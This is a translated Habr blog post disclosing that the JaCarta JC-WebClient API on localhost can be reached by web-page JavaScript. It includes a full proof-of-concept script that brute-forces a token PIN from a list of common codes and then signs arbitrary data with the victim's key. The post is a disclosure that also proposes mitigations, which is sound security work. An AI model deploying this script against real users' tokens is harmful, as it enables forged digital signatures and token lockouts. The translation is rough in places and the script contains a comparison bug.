📜 ⬆️ ⬇️

Test JaCarta WebClient or store tokens in a safe

“When black cover drifted aside for a moment, Margherita turned round and saw that there were not only multi-colored towers with an airplane unfolding above them, but the city itself had not left for a long time and had left only fog in itself.”

M.A. Bulgakov
"The Master and Margarita"

Hi, Habr! Probably almost every Russian organization has these products in a fun multicolored coloring. We are talking about products JaCarta and software to them. This happiness came to me too, and I decided to push the black cover a little to hide their essence, in other words API. Some banks, especially issuing JaCarta GOST-2 tokens to their customers, require the installation of the JC-WebClient application from Aladdin RD to work.

Although there is no fresh distribution on the official website of the developer (in the Demo section, you can download the older version, but it uses outdated API), the distribution can be found using Google on the line "JC-WebClient-4.0.0.1186" on the RBS sites.

After installing the application on the user's computer, port 24738 opens on which this client is running.

https://localhost:24738/JCWebClient.js

The developer’s website describes the API of this application openly and in detail (as well as the file system functions of the entire line of tokens of this manufacturer via jcFS.dll, included in the “JaCarta Single Client” installation package) and the point is that with a number of functions you can or sign the EDS on the token with anything, pick up the pin code, or block the token with unsuccessful attempts to enter it. And all this remotely, via the Internet.

It’s no secret that users often leave the token with the pin code by default, or the one with which they received it (they are usually afraid that when changing the pin code, everything will stop working).

The most commonly used pin codes are 123456, and the token during the working day, or even around the clock, is plugged into the computer port or usb hub.

Thanks to JC-WebClient, if such a user is allowed to slip a webpage or a letter with uncomplicated JavaScript, then it becomes possible not to get the keys of the token (in some cases this is possible only by directly accessing the token file system, an example has already been given here ), but pick up the pin code and sign any data and send it somewhere.

In case of 10 unsuccessful attempts to bust, the token is blocked, and how often it happens, if the pin of the administrator code for unlocking is not set, then only initialization will help. And this is not the time paid taxes (and as a result of penalties and even blocking the settlement account of the tax organization), penalties from suppliers, in general, there is little good.



The problem with brute force of the pin code could be solved either by making it possible to enter it only through the JC-WebClient interface window, or as a half-measure, in the case of for example 3 unsuccessful input attempts, to block further authorization, display a message to the user, and wait until it confirm your actions.

I wrote a small test script that shows this vulnerability. The script works on all modern and relatively modern browsers, even IE :)

Naturally, he does not send anything anywhere, but simply displays the results of the work of a sequence of functions.

The script implements a full brute force of 10 attempts to enter the PIN code "for slaughter" the token, so you can run the script only with a test token!

You should also remember that the use of this script otherwise than on your own test token is a violation of the law.

Test result:


Key generation and certificate generation script using JC-WebClient for testing.
You can use EToken PRO Java 72 K, JaCarta GOST, JaCarta GOST-2. The token must be pre-initialized with pin user code 111111.

Before testing, you need to install JC-WebClient version not lower than 4.

 //Инициализация JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient был успешно инициализирован"+" "); //Получаем версию JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write("Версия JCWebClient2 " + vers +" "); //Получаем доступ к слотам и определяем число подключенных токенов var slots = JCWebClient2.getAllSlots(); document.write("Подключено токенов: "+slots.length+" "); //Выводим модель токенов for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write("Токен: "+slot.device.name+" "+slot.device.model+" "); } var tokenID = slot.id, // Идентификатор токена userPin = '111111'; // PIN-код пользователя // Проверить текущее состояние аутентификации на токене // (должно равняться JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('1) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); // Предъявить PIN-код JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: userPin } }); // Проверить изменившееся состояние // (должно равняться JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('2) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); // Создать контейнер с ключевой парой и присвоить ему имя var keyPairID = JCWebClient2.createKeyPair({ args: { paramSet: "XA", description: "my description", algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256 } }); // Задать отличительное имя пользователя (Distinguished Name (DN)), // включающее стандартное имя (Common Name, (CN)) var dn = { 'CN': '123', 'C': 'RU' }; // Задать расширения, определяющие область применения закрытого ключа var exts = { 'keyUsage': 'Digital Signature' }; // Записать сертификат var contID = JCWebClient2.generateUserSelfSignedCertificate({ args: { keyPairID: keyPairID, dn: dn, exts: exts, days: 365 } }); //Массив информации на токенах var list=[]; //Получаем список контейнеров list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); //Получаем id и информацию о созданном контейнере var data = list[0]; var contID = data.id; document.write("ID контейнера: "+data.id+" "); document.write("Описание контейнера: "+data.description+" "); document.write("Алгоритм подписи: "+data.algorithm+" "); // Отменить ввод PIN-кода JCWebClient2.unbindToken(); 

And the security audit script itself:

 //Инициализация JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient был успешно инициализирован"+" "); //Получаем версию JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write("Версия JCWebClient2 " + vers +" "); //Получаем доступ к слотам и определяем число подключенных токенов var slots = JCWebClient2.getAllSlots(); document.write("Подключено токенов: "+slots.length+" "); //Выводим модель токенов for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write("Токен: "+slot.device.name+" "+slot.device.model+" "); } // Идентификатор токена var tokenID = slot.id; // Проверить текущее состояние аутентификации на токене // (должно равняться JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //Массив информации на токенах var list=[]; //Получаем список контейнеров list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); //Получаем id и информацию о контейнере var data = list[0]; var contID = data.id; document.write("ID контейнера: "+data.id+" "); document.write("Описание контейнера: "+data.description+" "); document.write("Алгоритм подписи: "+data.algorithm+" "); // Данные для подписи (Hello World закодированное Base64) var dataToSign = 'SGVsbG8sIFdvcmxkIQ=='; document.write("Данные для подписи: "+dataToSign+" "); //Массив пин кодов var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"]; //функция авторизации function bind(pass) { JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: pass } }); } var i=0; //Перебор пин кодов в цикле //Осторожно! При 10 неверных попытках токен блокируется!!!!!!!!!! while (i < 10) { i++; try{ bind(pin[i]); tokenState = JCWebClient2.getLoggedInState(); //Если атака удалась, выводим результат и завершаем цикл if(tokenState.state=1) { document.write("Успешно подобран пин код: "+pin[i]+" "); break; } } //Вывод информации об ошибке catch(e){document.write(e+" ");} } // Проверить изменившееся состояние // (должно равняться JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //Получаем содерижимое сертификата var CertificateBody=JCWebClient2.getCertificateBody({ args: { id: contID } }); document.write("CertificateBody: "+CertificateBody+" "); // Подписать данные, используя программное хэширование и вывести подписанное в Base64 var signedData = JCWebClient2.signBase64EncodedData({ args: { contID: contID, data: dataToSign, attachedSignature: true } }); document.write("Подписано успешно. "); document.write("Подписанные данные: "+signedData+" "); //Проверка подписи var signature = signedData; var res = JCWebClient2.verifyBase64EncodedData({ args: { signature: signature } }); document.write("Результат проверки подписи: "+res+" "); // Отменить ввод PIN-кода JCWebClient2.unbindToken(); 

JC-WebClient API Information Source

Source: https://habr.com/ru/post/439790/